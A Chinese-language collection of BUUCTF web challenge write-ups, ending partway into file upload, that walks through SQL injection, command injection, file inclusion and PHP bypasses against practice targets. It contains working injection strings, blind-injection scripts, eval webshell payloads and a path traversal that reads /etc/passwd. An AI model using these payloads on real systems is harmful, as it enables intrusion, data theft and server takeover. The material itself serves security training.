buuctf

  1. sql注入
    1. [极客大挑战 2019]EasySQL
    2. [SUCTF 2019]EasySQL
    3. [极客大挑战 2019]LoveSQL
    4. [极客大挑战 2019]BabySQL
    5. [GXYCTF2019]BabySQli
    6. [极客大挑战 2019]HardSQL
    7. [强网杯 2019]随便注
    8. [GYCTF2020]Blacklist
    9. [CISCN2019 华北赛区 Day2 Web1]Hack World
    10. [极客大挑战 2019]FinalSQL
    11. [BJDCTF2020]Easy MD5
  • 命令执行(rce)
    1. [ACTF2020 新生赛]Exec
    2. [GXYCTF2019]Ping Ping Ping
    3. [极客大挑战 2019]Knife
    4. [GXYCTF2019]禁止套娃
    5. [WUSTCTF2020]朴实无华
    6. [安洵杯 2019]easy_web
      1. $a==md5($a)
  • [网鼎杯 2020 朱雀组]Nmap
  • [BJDCTF2020]EasySearch
  • **[极客大挑战 2019]RCE ME
  • 文件包含
    1. [ACTF2020 新生赛]Include
    2. [HCTF 2018]WarmUp
    3. [极客大挑战 2019]Secret File
    4. [BSidesCF 2020]Had a bad day
    5. [GWCTF 2019]我有一个数据库
  • 文件上传
    1. [极客大挑战 2019]Upload
    2. [ACTF2020 新生赛]Upload
    3. [GXYCTF2019]BabyUpload
    4. [MRCTF2020]你传你🐎呢
    5. [SUCTF 2019]CheckIn
    6. [BUUCTF 2018]Online Tool
  • php反序列化
    1. [极客大挑战 2019]PHP
    2. [网鼎杯 2020 青龙组]AreUSerialz
    3. [ZJCTF 2019]NiZhuanSiWei
    4. [网鼎杯 2020 朱雀组]phpweb
    5. [MRCTF2020]Ezpop
    6. [安洵杯 2019]easy_serialize_php
    7. [NPUCTF2020]ReadlezPHP
    8. [0CTF 2016]piapiapia
  • php特性
    1. [BJDCTF2020]ZJCTF,不过如此
  • SSTI模板注入
    1. [护网杯 2018]easy_tornado
    2. [BJDCTF2020]The mystery of ip
    3. [BJDCTF2020]Cookie is so stable
    4. [WesternCTF2018]shrine
    5. [CISCN2019 华东南赛区]Web11
    6. [GYCTF2020]FlaskApp
      1. 预期解 利用PIN码进行RCE
      2. 非预期解
  • 混杂
    1. [BJDCTF2020]Mark loves cat
    2. [MRCTF2020]PYWebsite
    3. [ASIS 2019]Unicorn shop
    4. [CISCN 2019 初赛]Love Math
    5. [BSidesCF 2019]Kookie
  • sql注入

    [极客大挑战 2019]EasySQL

    这道题测出来是单引号闭合,也没有上面过滤,直接用万能密码就能爆出flag

    payload ?username=admin' or 1=1-- -&password=admin
    

    [SUCTF 2019]EasySQL

    对查询点进行fuzz测试发现很多关键字都被过滤了

    回包长度为500的都是可以正常使用的,这里;没有被过滤,尝试堆叠注入

    首先show tables;

    然后show columns from Flag;,不行,被过滤了。

    参考别人wp https://blog.csdn.net/StevenOnesir/article/details/110203051,有两种解法

    解法1:

    输入数字只回显1,输入字母啥也不回显,那么我们应该推出后端代码有 或 结构,而且不直接回显flag,但作为一道题目,from应该是from flag,所以猜测后端代码为:

    select $_POST['query'] || flag from flag
    

    所以payload就变的简单:

    *,1
    

    这里,我们的语句变成了

    select *,1 from flag
    

    select 1 的意思是建立一个临时列,这个列的列名为1,所有初始值都被设为1。

    解法2:

    通过修改SQL配置将或运算符||设置为连接符

    payload 1;set sql_mode=pipes_as_concat;select 1
    

    要注意分号隔断了前面的命令,所以要再次添加select!!

    上面的payload等同于

    select concat(1,flag) from Flag
    

    [极客大挑战 2019]LoveSQL

    测出来username有注入点,用单引号闭合。

    测数据库名

    username=-1' union select 1,2,database()-- -&password=admin
    //库名为geek
    

    测表名:

    username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' -- -&password=admin
    //表名为geekuser,l0ve1ysq1
    

    两个表里面都有id,uername,password

    最终在l0ve1ysq1表里找到了flag

    username=-1' union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from l0ve1ysq1)-- -&password=admin
    

    [极客大挑战 2019]BabySQL

    测出来也是单引号闭合,但用order by 3测试时发现报错时”der 3”,说明or和by被过滤,使用双拼即可绕过,这道题几乎所有关键字都可以用双拼绕过,先查库名:

    ?username=-1' uunionnion seselectlect 1,2,database()-- -&password=admin
    //geek
    

    再查表明:

    ?username=-1' ununionion seselectlect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema='geek' -- -&password=admin
    //b4bsql,geekuser
    

    再查字段:

    username=-1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' -- -&password=admin
    //id,username,password
    

    最终在b4bsql表里找到了flag

    ?username=-1' ununionion seselectlect 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom b4bsql -- -&password=admin
    

    [GXYCTF2019]BabySQli

    搞了一圈发现连()都过滤了,看别人wp才发现源码有个注释:

    MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
    base32解码:c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
    base64解码:select * from user where username = '$name'
    
    Base64和Base32 区别:
    base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
    base32中只包含大写字母(A-Z)和数字234567
    

    同时,这一关利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

    所以,如果我们使用联合查询访问,一个真实存在的用户名和一个我们自己编造的密码,就会使虚拟数据混淆admin密码,从而使我们成功登录,得到 flag

    我们这题可以测出有三个列,按照报错回显,可以确定第二个列是username,第三个列是password,那么第一列应该是id,我们尝试构造出:

    name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
    

    如果你看过这题的源代码就会发现,密码是要于数据库中被md5加密过的密码进行对比的,所以我们第三列的字符串是1的md5值。

    [极客大挑战 2019]HardSQL

    测试了一下union,空格都被过滤了,试试报错注入,空格用括号代替:

    ?username=-1'or(updatexml(1,concat(0x7e,database()),1))%23&password=admin
    username=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23&password=admin
    //geek
    

    测表名,等号也被过滤了,用like代替

    ?username=admin'^updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like'geek')),1)%23&password=admin
    //H4rDsq1
    

    测字段

    ?username=admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1')),1)%23&password=admin
    //id,username,password
    

    爆数据

    ?username=admin'^updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,password)))from(H4rDsq1))),1)%23&password=admin
    //~flag~flag{53f3bd9d-f44f-4ce5-a0
    

    可以看到,只出来了左半部分,使用right():

    ?username=admin'^updatexml(1,concat(0x7e,(select(right(group_concat(concat_ws(0x7e,username,password)),20))from(H4rDsq1))),1)%23&password=admin
    //~5-a0c8-2720a6d31213}
    

    [强网杯 2019]随便注

    用order by 测出有两列数据,继续union select 1,2时发现爆出了过滤的字符:

    用extractvalue也只能注出库名

    试试堆叠注入,测库名:

    inject=1';show databases;
    

    测表名:

    ?inject=1';show tables;
    

    测字段,如果tableName是纯数字,需要用`包裹:

    ?inject=1';show columns from `1919810931114514`;
    

    然后就无能为力,看看大佬wp

    解法一:

    可以看到words表里有两个属性,即两列:id 和data
    而1919810931114514表里只有一个属性列
    说明输入框可能查询的就是words表
    后台sql语句可能为

    select id,data from words where id=
    

    接下来就是如何获取flag了,思路是把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来,在这之前当然要先把words表改名为其他

    1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
    

    解法二:

    因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:

    1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
    

    关于预编译,可以参考:https://www.cnblogs.com/geaozhang/p/9891338.html

    解法三

    还是预编译,不过我们可以将sql语句直接进行16进制编码

    1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
    

    注:prepare…from…是预处理语句,会进行编码转换。

    ​ SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

    解法四:

    此题还可以通过handle直接出答案:

    1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
    
    打开表:
    HANDLER 表名 OPEN ;
    查看数据:
    HANDLER 表名 READ next;
    关闭表:
    HANDLER 表名 READ CLOSE;
    

    可以参考 https://blog.csdn.net/qq_43427482/article/details/109898934

    [GYCTF2020]Blacklist

    屏蔽了alter和prepare。还可以使用上一道题的第三种方法。

    [CISCN2019 华北赛区 Day2 Web1]Hack World

    这道题输入1和2会输出不同的话,输入其他数字会显示Error Occured When Fetch Result.

    尝试报错注入发现只显示bool(false),所以我们试试盲注,这道题过滤了空格,用括号可以代替:

    id=if(1=1,1,2)	//Hello, glzjin wants a girlfriend.
    id=if(1=2,1,2)	//Do you want to be my girlfriend?
    

    发现可以用布尔盲注,题目提示了flag在flag表里的flag字段里,直接爆数据:

    id=if(ascii(substr((select(flag)from(flag)),1,1))>1,1,2)
    

    脚本:

    import requests
    if __name__ == '__main__' :
        url = 'http://bb5603db-211d-4c37-9796-e7a42349e7c8.node4.buuoj.cn:81/index.php'
        result = ''
        i = 0
        while True:
            i = i + 1
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f'if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)'
                data = {
                    "id":payload
                }
                r = requests.post(url=url,data=data)
                if 'Hello' in r.text:
                    low = mid + 1
                else:
                    high = mid
            if low != 32:
                result += chr(low)
            else:
                break
            print(result)
    

    [极客大挑战 2019]FinalSQL

    这道题很坑,在登录框里瞎注了半天,没有头绪,最后看别人wp才知道注入点在那几个按妞的地方

    分别点击那几个按钮你就会发现url里的id会变,这就是注入点,get型注入,而且这道题是数字型注入

    测试了一下发现过滤了空格,#,and,order by,union啥的,所以我们试试用括号和异或来进行代替

    ?id=0^(ascii(substr((select(database())),1,1))>2)
    

    可以看到返回结果与id=1一样,可以成功绕过,基于此,我们可以用脚本进行注入:

    import requests
    import time
    if __name__ == '__main__' :
        url = 'http://cf3b0295-5066-4352-aa2b-51ccb07a38c5.node4.buuoj.cn:81/search.php?id=0^'
        result = ''
        i = 0
        while True:
            i = i + 1
            low = 32
            high = 130
            while low < high:
                mid = (low + high) // 2
                #爆库名
                #payload = f'(ascii(substr((select(database())),{i},1))>{mid})'
                #爆表名    
                #payload=f'(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="geek")),{i},1))>{mid})'
                #爆字段
                #payload = f'(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema="geek")),{i},1))>{mid})'
                #爆数据
               #payload=f'(ascii(substr((select(group_concat(concat_ws("~",username,password)))from(F1naI1y)),{i},1))>{mid})'  				       
                r = requests.get(url=url+payload)
                time.sleep(0.05)
                if 'others' in r.text:
                    low = mid + 1
                else:
                    high = mid
            if low!=32:
                result += chr(low)
            else:
                break
            print(result) 
    

    这里要注意的是time.sleep(),请求过快可能不能响应,需要加点延时。

    [BJDCTF2020]Easy MD5

    打开后是一个输入框,但输入什么都没反应,用burp抓包:

    这里面password就是我们用户框中输入得东西。如果通过md5($pass,True)之后返回字符串是’or ‘1的话,形成一个永真条件:select * from ‘admin’ where password=’ ‘or ‘6…’

    问题是这里的md5加上参数True后返回的是原始16字符2进制格式

    我们可以通过这个脚本来获得满足我们要求的明文:

    <?php 
    for ($i = 0;;) { 
     for ($c = 0; $c < 1000000; $c++, $i++)
      if (stripos(md5($i, true), '\'or\'') !== false)
       echo "\nmd5($i) = " . md5($i, true) . "\n";
     echo ".";
    }
    ?>
    

    这里我们用网上常用的ffifdyop,这个字符串经过md5($pass,True)后就是'or '6...

    传上去后页面跳转到levels91.php,查看源代码:

    弱类型比较,第一种方法是找出md5值都是两个0e开头的开头的。原理是php里面在做 == 的时候会先把两边的类型转成一样的,因为是0e开头,php会认为它是科学技计数法,而0的多少次方都是0。这样的字符网上有很多

    s878926199a
    s155964671a
    240610708
    UYXFLOI
    

    第二种方法是用数组绕过:

    ?a[]=1&b[]=2
    

    传参后又跳转到levell14.php

    这里是强类型比较,就只能用数组绕过(===要求值和类型都相同,貌似当类型为string时,还要比较字符串是否一摸一样)

    param1[]=1&param2[]=2
    

    命令执行(rce)

    [ACTF2020 新生赛]Exec

    先测目录,发现在根目录有flag文件

    target=127.0.0.1;ls ../../../
    

    查看文件,爆出flag

    target=127.0.0.1;cat ../../../flag
    

    [GXYCTF2019]Ping Ping Ping

    进去有个提示/?ip,get一下发现和前面一道题差不多

    命令联合执行:

    ;     前面的执行完执行后面的
    |     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
    ||    当前面的执行出错时(为假)执行后面的
    &     将任务置于后台执行
    &&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
    %0a  (换行)
    %0d  (回车)
    

    通配符:

    *	#匹配全部字符,通配符
    ?	#任意一个字符,通配符
    []	#表示一个范围(正则,通配符)
    {}	#产生一个序列(通配符)
    

    ls就发现了flag.php和index.php,但测试了一下很多东西都被过滤了,空格只能用$IFS$1绕过,flag也被ban了,我们来尝试一下index.php:

    总结过滤的特殊字符
    & / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
    "xxxfxxxlxxxaxxxgxxx" " " "bash" 
    

    1、变量替换

    ?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php
    //这里的变量替换顺序要注意,不然又被贪婪匹配ban了
    

    2、变量ab互换传递,绕过字符串匹配,实现拼接

    ?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
    

    3、内联执行

    ?ip=127.0.0.1;cat$IFS`ls`
    ?ip=127.0.0.1;cat$IFS$3`ls`
    

    4、被过滤的bash,用管道+sh替换

    ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh  //cat flag.php用base64加密来绕过正则匹配
    ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash //bash被ban了
    

    [极客大挑战 2019]Knife

    这道题只有一个eval($_POST[“Syc”]);,可以直接用蚁剑连接

    [GXYCTF2019]禁止套娃

    这道题目在一开始就是一个空白的单纯页面,但是你经过目录扫描的话就会发现一个.git文件

    { % asset_img 224106.png%}

    这里是git源码泄露,可以用githack把他搞出来

    得到一个index.php

    可以看到,第一层正则过滤了伪协议,第二层正则是一直递归,也就是所谓的无参数函数校验,例如它可以匹配到a(b(c()d())),紧接着 又是一次黑名单过滤,很多的关键字都被ban掉了

    所以这题不能用伪协议,只能用无参数函数形式,且过滤了很多函数

    我们第一步肯定是想知道当前目录之下都有些什么
    所以要构建如下语句

    <?php
    print_r(scandir('.'));
    ?>
    

    但是,它只能允许无参数函数,所以我们就要想办法利用无参数函数将“.”给构造出来。

    payload

    print_r(scandir(current(localeconv())));
    或highlight_file(next(scandir(pos(localeconv()))));
    
    localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。
    pos()或current()函数 输出数组中的当前元素的值。
    

    可以看到,flag在当前目录下,读flag文件:

    print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));
    //array_flip()又可以将数组中的键和值进行对换
    //array_rand()函数可以随机读取一个数组键
    或
    highlight_file(next(array_reverse(scandir(pos(localeconv())))));
    //array_reverse() 函数以相反的元素顺序返回数组
    //next() 输出数组中的当前元素的下一个元素的值
    

    [WUSTCTF2020]朴实无华

    打开后显示一个hackme和Cannot modify header information - headers already sent by ……

    抓包也没找到有用的信息,但是可以用dirsearch扫出robots,txt:

    进入到fAke_f1agggg.php也没找到啥有用的,抓包:

    发现一个fl4g.php,进入

    可以改一下编码

    有三层绕过

    1、intval($num) < 2020 && intval($num + 1) > 2021

    这里可以用字符串的整型转换,虽然intval函数可以自动判别0x、0b等等的前缀,但不要忘了我们这里传进去的其实字符串,所以会产生从字符串到数字的转换

    payload ?num=0xABC或num=700e5
    

    2、$md5=$_GET[‘md5’]

    md5弱类型比较

    payload: md5=0e215962017
    

    3、屏蔽了空格和cat

    payload: get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
    

    [安洵杯 2019]easy_web

    进去之后,发现url里有个img=TXpVek5UTTFNbVUzTURabE5qYz0,看起来像base64,先解码一下

    MzUzNTM1MmU3MDZlNjc=

    再解码一次

    3535352e706e67

    再16进制转字符串

    555.png(这个应该是首页中图片的名称,可能存在文件包含)

    查看源代码,发现有一堆base64编码的字符,试一下base64转图片:

    就是首页的图片

    试试包含一下index.php

    对index.php先转16进制再进行两次base64编码:

    TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

    查看源代码然后base64解码:

    <?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '<img src ="./ctf3.jpeg">';
        die("xixi~ no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "<img src='data:image/gif;base64," . $txt . "'></img>";
        echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "<br>";
    } else {
        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    }
    
    ?>
    <html>
    <style>
      body{
       background:url(./bj.png)  no-repeat center center;
       background-size:cover;
       background-attachment:fixed;
       background-color:#CCCCCC;
    }
    </style>
    <body>
    </body>
    </html>
    

    审计代码,发现这里用来强制转化((String)强制转换,数组被强制转换的结果都为string(5) "Array"),所以要用到强类型绕过

    payload:

    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
    &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    

    进行url解码后的MD5值相等

    收录一些md5值相等的字符串:

    $Param1="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"
    $Param2="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"
    
    $data1="\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x07\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\xf1\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\x72\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\x34\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\x28\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\xab\x6f\xf7\x2a\x70"
    $data2="\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x87\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\x71\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\xb4\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\xa8\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\x2b\x6f\xf7\x2a\x70"
    

    然后用dir读取目录

    最后用c\at%20flag读取flag(题目虽然用了正则**|\\|\\\\**,但这里这样写造成了反斜杠逃逸)

    这里补充一个md5的知识点

    $a==md5($a)

    0e215962017 的 MD5 值是由 0e 开头,在 PHP 弱类型比较中相等

    [网鼎杯 2020 朱雀组]Nmap

    这道题之前做过类似的,考察的是nmap的使用

    先测试127.0.0.1 | ls,发现|被转义了,继续测试了一下发现&、;也都被转义了,所以估计代码里使用了和上次那道题一样的函数escapeshellarg()escapeshellcmd()

    参考:https://blog.csdn.net/weixin_44037296/article/details/110900266

    直接上payload:

    ' <?php @eval($_POST["hack"]);?> -oG hack.php '
    

    但是这样会被检测出来,测试了一下发现是过滤了php

    ' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
    

    报错Host maybe down

    加上扫描的地址

    127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
    

    然后rce即可

    [BJDCTF2020]EasySearch

    这道题先爆破了一下好像不行,然后用dirsearch扫描出一个index.php.swp

    <?php
        ob_start();
        function get_hash(){
            $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
            $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
            $content = uniqid().$random;
            return sha1($content); 
        }
        header("Content-Type: text/html;charset=utf-8");
        ***
        if(isset($_POST['username']) and $_POST['username'] != '' )
        {
            $admin = '6d0bc1';
            if ( $admin == substr(md5($_POST['password']),0,6)) {
                echo "<script>alert('[+] Welcome to manage system')</script>";
                $file_shtml = "public/".get_hash().".shtml";
                $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
                $text = '
                ***
                ***
                <h1>Hello,'.$_POST['username'].'</h1>
                ***
                ***';
                fwrite($shtml,$text);
                fclose($shtml);
                ***
                echo "[!] Header  error ...";
            } else {
                echo "<script>alert('[!] Failed')</script>";  
        }else
        {
        ***
        }
        ***
    ?>
    

    看起来这么长,其实只需要先传一个pasword,然后让substr(md5($_POST[‘password’]),0,6)==‘6d0bc1’就行了

    import hashlib
    for i in range(100000000):
        a = hashlib.md5(str(i).encode("utf-8")).hexdigest()
        if a[0:6] == '6d0bc1':
            print(i)
    #2305004
    

    然后输进去,我们可以获取到一个消息头:

    进这个文件:

    如何执行命令呢?这里就用到了Apache SSI 远程命令执行漏洞

    https://www.cnblogs.com/yuzly/p/11226439.html

    当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!–#exec cmd=”id” –>语法执行命令。

    使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

    所以我们试一试用户名输入<!–#exec cmd=”ls ..”–>

    然后读flag即可

    **[极客大挑战 2019]RCE ME

    这道题第一眼想到的是无字母数字rce异或绕过,但测试了一下发现没反应,看了其他师傅博客说过滤了system、exec、shell_exec等命令执行函数

    这种题的操作一般是这样的,先考虑取反绕过:

    url编码取反绕过 :就是我们将php代码url取反后编码,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。

    即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反。

    先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:

    <?php 
    error_reporting(0);
    $a='phpinfo';
    $b=urlencode(~$a);
    echo $b;
     ?>
    

    然后传入code=(~%8F%97%8F%96%91%99%90)();

    可以看到禁用了很多函数

    我们构造一条代码来连接蚁剑

    <?php 
    error_reporting(0);
    $a='assert';
    $b=urlencode(~$a);
    echo $b;
    echo "<br>";
    $c='(eval($_POST[test]))';
    $d=urlencode(~$c);
    echo $d;
    ?>
    //%9E%8C%8C%9A%8D%8B
    //%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8B%9A%8C%8B%A2%D6%D6
    

    然后拼接为 assert(eval($_POST[test]))

    ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
    

    在这里,我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。
    在这里,我们使用 assert 来构造,但由于php版本问题,我们并不能直接构造<?php assert($_POST[‘a’]);>,我们需要调用eval拼接为 assert(eval($_POST[test]))

    发现一个flag文件(空的),一个readflag文件,需要执行readflag才能得到flag

    1、借助蚁剑插件绕过disable_functions

    文件包含

    [ACTF2020 新生赛]Include

    进去之后发现有个tips链接,点击链接发现是一个get传参,参数中也提示了flag.php

    直接在get里面传参,用php://filter协议:

    ?file=php://filter/convert.base64-encode/resource=flag.php
    

    base64解码后果然有flag。

    [HCTF 2018]WarmUp

    看源代码提示我们有个source.php,进入后看源码:

    然后看到提示hint.php,访问后得到flag在ffffllllaaaagggg下,然后开始审计一波代码。

    首先它先判定了传入的是不是空或者是不是字符串,然后进行了三次白名单判断。里面涉及到mb_substr(),mb_strpos(),urldecode()三个函数。

    **mb_substr(str,start,length,encoding):**返回从start位置开始的长度为length的字符串。

    **mb_strpos(str,find_str,offset,encoding):**返回str中从offset(默认为0)开始第一次出现find_str的位置。

    根据代码分析得到,在第一次$_page取的是从0开始到第一次出现?之间的字符串,所以我们在参数中传入一个?绕过白名单。

    payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg 
    

    tips:include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

    [极客大挑战 2019]Secret File

    这道题很皮

    打开题目说“你想知道蒋璐源的秘密么?”,先看源码,有个Archive_room.php,进去之后又有个SECRET,点击之后跳转到新页面,显示“查阅结束没看清么?回去再仔细看看吧”,我们试试退回到上一步然后抓包,果然能抓到东西:

    访问secr3t.php

    strstr(string $haystack, string $needle, bool $before_needle = false): string|false

    返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。

    该函数区分大小写。如果想要不区分大小写,请使用 stristr()。

    可以看到,过滤规则很简单,而且提示的flag.php没有被过滤,那我们应该会想到flag应该不会在flag.php里,但先包含flag.php看看

    没显示flag,我就在这里。。。可能flag被当作变量了,用php://filter看看

    ?file=php://filter/read=convert.base64-encode/resource=flag.php
    

    解码后出现了flag变量

    [BSidesCF 2020]Had a bad day

    主页上有WOOFERS和MEOWERS两个选项,点击后发现url跟着变化,猜测可能是sql注入,试了一下?category=woofers“

    有include(),原来是文件包含,但是我们还可以看到,它自动加上了.php,我们试一下让它包含flag,但是我们可以看到”Sorry, we currently only support woofers and meowers“

    试一下?category=woofers/../flag:

    { % asset_img 175749.png%}

    可以看到,flag.php应该是被包含了进去,但flag没有显示,可能是没有输出或者被注释了

    这里我们可以套用伪协议:

    ?category=php://filter/convert.base64-encode/woofers/resource=flag
    

    [GWCTF 2019]我有一个数据库

    进去后一堆乱码,也没有什么提示,用dirsearch扫一下:

    可以直接进去phpmyadmin:

    数据库里没有东西,这里的利用点是phpmyadmin4.8.1版本存在任意文件读取漏洞:

    https://www.jianshu.com/p/fb9c2ae16d09

    payload

    target=db_datadict.php%253f/../../../../../../../../etc/passwd
    

    尝试读取flag:

    target=db_datadict.php%253f/../../../../../../../../flag
    

    成功

    文件上传

    [极客大挑战 2019]Upload

    通过测试发现这道题检测了文件后缀,文件类型和文件内容。

